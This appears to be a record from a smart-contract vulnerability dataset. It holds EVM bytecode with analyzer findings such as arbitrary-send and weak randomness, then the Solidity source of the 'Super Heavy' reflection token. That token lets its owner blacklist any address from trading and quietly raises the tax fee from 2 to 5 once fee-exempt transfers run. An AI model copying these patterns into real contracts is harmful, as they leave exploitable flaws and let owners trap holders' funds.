8b610892565b34801561033557600080fd5b506101c7610898565b34801561034a57600080fd5b5061018b6108ac565b34801561035f57600080fd5b506101c76108b2565b34801561037457600080fd5b5061018b6108c1565b34801561038957600080fd5b5061018b6108c7565b34801561039e57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526103fb948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108cd9650505050505050565b604080519115158252519081900360200190f35b34801561041b57600080fd5b506103fb6109c3565b34801561043057600080fd5b50610174600160a060020a03600435166024356109cc565b34801561045457600080fd5b50610469600160a060020a0360043516610ae6565b60408051600160c860020a03909416845265ffffffffffff909216602084015260ff1682820152519081900360600190f35b3480156104a757600080fd5b50610174610b1d565b3480156104bc57600080fd5b5061018b610bf7565b3480156104d157600080fd5b5061018b610bfd565b3480156104e657600080fd5b506101c7610c03565b600a5481565b600154604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561052f573d6000803e3d6000fd5b50565b600354600160a060020a031681565b60075481565b606381565b6000546101009004600160a060020a0316331461056857600080fd5b600455565b620f424081565b6000546101009004600160a060020a0316331461059057600080fd5b60008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600281565b6000546101009004600160a060020a031633146105e657600080fd5b62030d408111156105f657600080fd5b600781905561052f610c12565b6040805183406020808301919091526c01000000000000000000000000600160a060020a0385160282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106106715780518252601f199092019160209182019101610652565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209695505050505050565b6000546101009004600160a060020a031633146106c057600080fd5b600855565b6000546101009004600160a060020a031633146106e157600080fd5b6000805460ff1916911515919091179055565b6000546101009004600160a060020a0316331461071057600080fd5b600354600154604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526000602482018190529151929093169263095ea7b39260448083019360209383900390910190829087803b15801561078457600080fd5b505af1158015610798573d6000803e3d6000fd5b505050506040513d60208110156107ae57600080fd5b50506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217909255600354604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600481019390935260001960248401525192169163095ea7b3916044808201926020929091908290030181600087803b15801561084257600080fd5b505af1158015610856573d6000803e3d6000fd5b505050506040513d602081101561086c57600080fd5b505050565b6000805460ff161561088257600080fd5b61088d600133610c59565b905090565b60045481565b6000546101009004600160a060020a031681565b60085481565b600154600160a060020a031681565b60065481565b60095481565b6000806108d86113ce565b600254600090600160a060020a031633146108f257600080fd5b600154600160a060020a03888116911614156109725760045461091b908763ffffffff6110c016565b600455600654925061092b610c12565b60065460408051858152602081019290925280517fc515cfc3ee14c6e587c5755cfe9e60d7779b40b2216c63bc3699111dcdd45a8d9281900390910190a1600193506109b9565b600160a060020a03871682526020820186905284518590600090811061099457fe5b016020015160f860020a9081900481020490506109b460ff8216836110d6565b600193505b5050509392505050565b60005460ff1681565b6000546101009004600160a060020a031633146109e857600080fd5b6004546109fb908263ffffffff61133716565b600455610a06610c12565b600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610a7557600080fd5b505af1158015610a89573d6000803e3d6000fd5b505050506040513d6020811015610a9f57600080fd5b50511515610aac57600080fd5b6040518190600160a060020a038416907f42c501a185f41a8eb77b0a3e7b72a6435ea7aa752f8a1a0a13ca4628495eca9190600090a35050565b600b60205260009081526040902054600160c860020a0381169060c860020a810465ffffffffffff169060f860020a900460ff1683565b6000546101009004600160a060020a03163314610b3957600080fd5b6003546000805460048054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152610100909404600160a060020a039081169385019390935260248401919091525193169263a9059cbb92604480840193602093929083900390910190829087803b158015610bb857600080fd5b505af1158015610bcc573d6000803e3d6000fd5b505050506040513d6020811015610be257600080fd5b50506000546101009004600160a060020a0316ff5b60055481565b6103e881565b600254600160a060020a031681565b60045460408051918252517fdff64b0d3aeb3f517dce05c4a4b3f84c29fe10fa9c3390c3e85122da92101dee9181900360200190a1600754600454620f4240910204600655565b6000610c636113e5565b50600160a060020a0382166000908152600b6020908152604080832081516060810183529054600160c860020a03811680835260c860020a820465ffffffffffff169483019490945260f860020a900460ff16918101919091529190819081908110610cce57600080fd5b602084015165ffffffffffff16431415610ce757600080fd5b60ff846020015165ffffffffffff1643031115610d08576103e89250610d26565b610d206063856020015165ffffffffffff1688611349565b60010192505b836040015160ff16915081831015610f53578351610d4d90600160c860020a031683611368565b9050600654811115610d5e57506006545b600454610d71908263ffffffff61133716565b600455835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600160a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a1610de4610c12565b6040805160608101825260008082526020808301828152838501838152600160a060020a038c8116808652600b8552878620965187549451935178ffffffffffffffffffffffffffffffffffffffffffffffffff19909516600160c860020a03918216177fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff1660c860020a65ffffffffffff90951694909402939093177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a60ff90951694909402939093179095556003548a5187517fa9059cbb0000000000000000000000000000000000000000000000000000000081526004810194909452909116870160248301529451949093169363a9059cbb93604480820194918390030190829087803b158015610f1d57600080fd5b505af1158015610f31573d6000803e3d6000fd5b505050506040513d6020811015610f4757600080fd5b509294508492506110b6565b835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600060a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a18351600454610fd891600160c860020a031663ffffffff6110c016565b6004556040805160608101825260008082526020808301828152838501838152600160a060020a038c168452600b90925293909120915182549351915178ffffffffffffffffffffffffffffffffffffffffffffffffff19909416600160c860020a03909116177fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff1660c860020a65ffffffffffff90921691909102177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a60ff909316929092029190911790556110b2610c12565b8294505b5050505092915050565b6000828201838110156110cf57fe5b9392505050565b6110de6113e5565b60005460ff16156110ee57600080fd5b8160200151836006546111018383611368565b10801561111057506008548210155b801561111c5750600281115b80156111285750606381105b151561113357600080fd5b6020840151600160c860020a031161114a57600080fd5b65ffffffffffff431061115c57600080fd5b611165336113ba565b151561117057600080fd5b8351600160a060020a03166000908152600b602090815260409182902082516060810184529054600160c860020a038116825260c860020a810465ffffffffffff1692820183905260f860020a900460ff16928101929092529093504314156111d857600080fd5b602083015165ffffffffffff16156111fb576111f960008560000151610c59565b505b65ffffffffffff43811660208086019182528681018051600160c860020a03908116885260ff808b166040808b019182528b51600160a060020a039081166000908152600b88528290208c5181549951945190951660f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff94909a1660c860020a027fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff9590961678ffffffffffffffffffffffffffffffffffffffffffffffffff19909916989098179390931693909317169590951790935587519051835191909416815290810192909252818101879052517fcfb6e9afebabebfb2c7ac42dfcd2e8ca178dc6400fe8ec3075bd690d8e3377fe9181900360600190a150506009805460010190555060200151600a8054909101905550565b60008282111561134357fe5b50900390565b6000836113568484610603565b81151561135f57fe5b06949350505050565b6000826103e86005548561138660018761133790919063ffffffff16565b61139787600163ffffffff61133716565b60640388028115156113a557fe5b0401028115156113b157fe5b04039392505050565b600254600160a060020a0390811691161490565b604080518082019091526000808252602082015290565b6040805160608101825260008082526020820181905291810191909152905600a165627a7a72305820520a478d2a5e5e1dcbd5e86b36187fb0613039f54900ad6653fda192ac89e0930029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,031 |
0x9ba8ec62a1af48e2259ad93a53938ef44038146b
|
/*
https://t.me/superheavyerc
https://superheavy.online
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SuperHeavy is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Super Heavy";
string private constant _symbol = "SHEAVY";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600b81526020017f5375706572204865617679000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5348454156590000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffff